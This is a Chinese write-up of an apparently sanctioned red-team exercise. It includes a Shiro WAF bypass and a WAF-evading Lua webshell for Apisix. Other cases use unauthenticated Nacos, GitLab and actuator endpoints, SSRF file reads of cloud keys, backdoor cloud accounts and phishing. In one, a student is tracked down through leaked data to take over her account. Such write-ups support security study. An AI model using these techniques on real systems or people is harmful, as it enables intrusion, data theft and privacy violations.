前言

几个月前打了一场某地的攻防演练，演练当时通知的很急促，没做什么准备直接小米加步枪上阵了...

在此过程中，很多个没用到0day的打点案例都很有意思，下面就简单分享一下

案例一、某单位shiro绕WAF(利用shiro处理rememberMe字段值的feature)

信息搜集到某单位的CAS系统...当时开着Burpsuite插件，扫到了默认的shiro密钥

当时开心坏了...但是有遥遥领先厂商的WAF在，如果直接上现成的工具会直接寄

后面试了试网上公开的方法，直接把请求方式删掉，依然被拦，包直接被重置掉，无奈寻找新faeture

最终在Shiro的rememberMe字段值处理流程中，发现在Base64解码过程中有戏

如图，在shiro解码base64字符串的过程中，会调用discardNonBase64方法去除掉非Base64的字符

如图所示

那么思路就来了，只需往rememberMe字段的值中填充非Base64的字符即可绕过WAF(比如$符号)

```
Base64包括小写字母a-z,大写字母A-Z,数字0-9,符号+和/组成的64个字符的字符集,另外包括填充字符=
```

在本地进行测试，果然奏效

那么后面就很简单了，把现成的Shiro利用工具配置Burpsuite的代理，Match&Replace替换部分字符串即可

最终也是成功拿下Shell，只可惜过了半小时就被应急了...

案例二、某互联网厂商 Apisix绕阿里WAF拿下28个Rce

如图使用了apisix网关的WebServer在用户访问不存在的路由时，会抛出如下错误，这可以作为我们指纹识别的特征所在

```
{
  "error_msg": "404 Route Not Found"
}
```

针对Apisix节点的攻击方法，想要RCE的话，历史上主要有“默认X-API-Key”和“Dashboard未授权访问”两个洞可以用

过往挖某SRC的时候，就遇到过默认X-API-Key导致可直接创建执行lua代码的恶意路由的问题

恰巧这次攻防演练中，某目标子域的Apisix，正好就存在Dashboard的未授权访问

直接去Github扒了一个脚本，发现能检测出漏洞，但是RCE利用不成功，把reponse打印出来后，果然...被阿里云的WAF给拦了

随后把创建恶意路由的请求包中，添加一个带有大量脏数据的json键，发现阿里云不拦了

用之前的Dashboard未授权访问漏洞查看路由，显示恶意路由确实是被写入了...但是直接访问恶意路由却依然提示404

通过未授权访问漏洞，获取全量路由配置后，发现目标apisix应该是集群部署的...

```
/apisix/admin/migrate/export
```

每个路由需要有一个host键来确定该路由被添加到哪个子域

随后再次构造写入恶意路由的数据，把host键加上，发现可以成功写入了

利用未授权接口读出全量路由config，并提取出host键，确定可写入恶意路由的子域范围

```
import json

def read_config():
    with open("data.json", 'r') as json_file:
        config = json.load(json_file)
    return config

data = read_config()

if "Routes" in data:
    for route in data["Routes"]:
        if "host" in route:
            host_value = route["host"]
            with open("data.txt", "a") as file:
                file.write(host_value + "\n")
                print(host_value)
```

但是后面执行命令，有的时候会被阿里云给拦掉，于是构造lua脚本时把传参和命令输出做了倒转，防止被流量检测到

```
local file=io.popen(string.reverse(ngx.req.get_headers()['Authenication']),'r')
local output=file:read('*all')
file:close()
ngx.say(string.reverse(output))
```

由于该apisix集群部署管理了28个子域的服务，所以成功拿下28个子域Rce

案例三、某开发商Nacos未授权访问读取配置信息到精准钓鱼进入内网

利用nacos未授权访问，从CONFIG.INFO读取config信息

很幸运，其中包含公有云数据库凭据

```
/nacos/v1/cs/ops/derby?sql=select+*+from+CONFIG_INFO+st
```

可惜试了一下都配了策略，没法外网直接连过去

但是...却发现了config信息中，出现了某系统的一个手机号

随后加上微信钓鱼，以系统升级为由，成功拿到权限

案例四、某国企-从一个任意文件读取到SSO沦陷

某国企子域的资产，发现使用了kkfileview开源项目

翻了一下历史issue，存在全回显的ssrf，在目标上验证成功

同时很幸运，这个点支持file://协议，随后通过file协议读取到网站配置文件，拿到了目标的AK,SK

使用阿里云的Cli创建后门账户，接管目标公有云

同时在root目录，发现有诸多数据库文件

读出多个sql文件内容后，有些库中存放的员工密码是弱加密的

借此我们掌握了部分员工的姓名，工号，明文密码，部门

随后使用IT部门职级比较高的人员的工号、密码，成功进入SSO系统，拥有管理权限

后面就很简单了，创建一个账户，把所有产品和平台的权限点满...

然后，然后所有通过sso登录的系统都能访问到了

案例五、兵不血刃打穿某高校

为什么说兵不血刃呢...因为目标高校外网暴露面很小，基本上攻防演练期间能关的都关了

但是目标高校正值开学季，开放了一个研究生学号的查询系统，可以使用研究生的身份证+姓名查询学号和初始密码

随后我开始漫长的百度之旅...最终定位到了一名在该校就读的研究生新生小姐姐

利用xx库的神秘力量，找到了小姐姐的信息

最终成功拿到小姐姐的学号和初始密码

非常走运，小姐姐没有改密码，直接进入到ssl vpn系统中

在某个查看学生个人信息的系统重，队友的Burp被动扫描到了一个二级目录的swagger文档

而“添加学生信息查看角色”的接口，竟然是没有鉴权的

随后利用接口，把当前用户添加查看学生信息的权限

如图，拿下全校十万学生的详细信息~

案例6、某单位Gitlab项目权限误配导致公有云接管

防守单位中某单位的Gitlab开放到了公网，但是爆破了一顿，并不存在弱口令

但是经过对Gitlab的测试，找到了Gitlab中仓库权限的配置问题

```
/api/v4/projects
```

获取到gitlab中部分仓库为public状态，非登录态可直接访问

如图，成功访问到某内部项目

最终在某项目中成功找到了可用的ak,sk，完成公有云接管

案例七、某单位系统从一个actuator httptrace端点到千万量级敏感信息

挂着Burp代理，被动扫描到了一个actuator接口，很幸运，开放了httptrace endpoint，借此我们可以获取到系统中的http请求日志

但是发现如图上方使用的鉴权header并不能直接进入到系统中

刚开始怀疑是鉴权信息的过期时间设置的比较短，写了个脚本监控带有x-access-token的新增请求

```
import requests
import time

monitored_text = ""

# URL
url = "http://xxxxx.xxxxx.com/xxxxxx/actuator/httptrace/"

while True:
    try:
        response = requests.get(url)
        page_text = response.text
        new_content = page_text[len(monitored_text):]

        # 检查新增的内容是否包含 "x-access-token" 字符串
        if "x-access-token" in new_content:
            current_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
            print(f"新增的内容包含 'x-access-token' 于 {current_time}")
        monitored_text = page_text
        time.sleep(1)

    except Exception as e:
        print(f"error Info: {e}")
```

最终成功拿到了一个可用的token，发现是JWT形式的-_-||...

原来之前拿到的token是测试数据，难怪用不了

使用该JWT，通过webpack提取到的api，访问后端API，拿下大量敏感信息，达千万量级，防止burp卡死，仅列出部分

后言

不断提升攻击面的广度与深度，是一名hacker的核心素养

攻防之中，拥有充足的经验，而又不陷入经验主义的迂腐，面对万难，而又不放弃思考，是出奇制胜的关键所在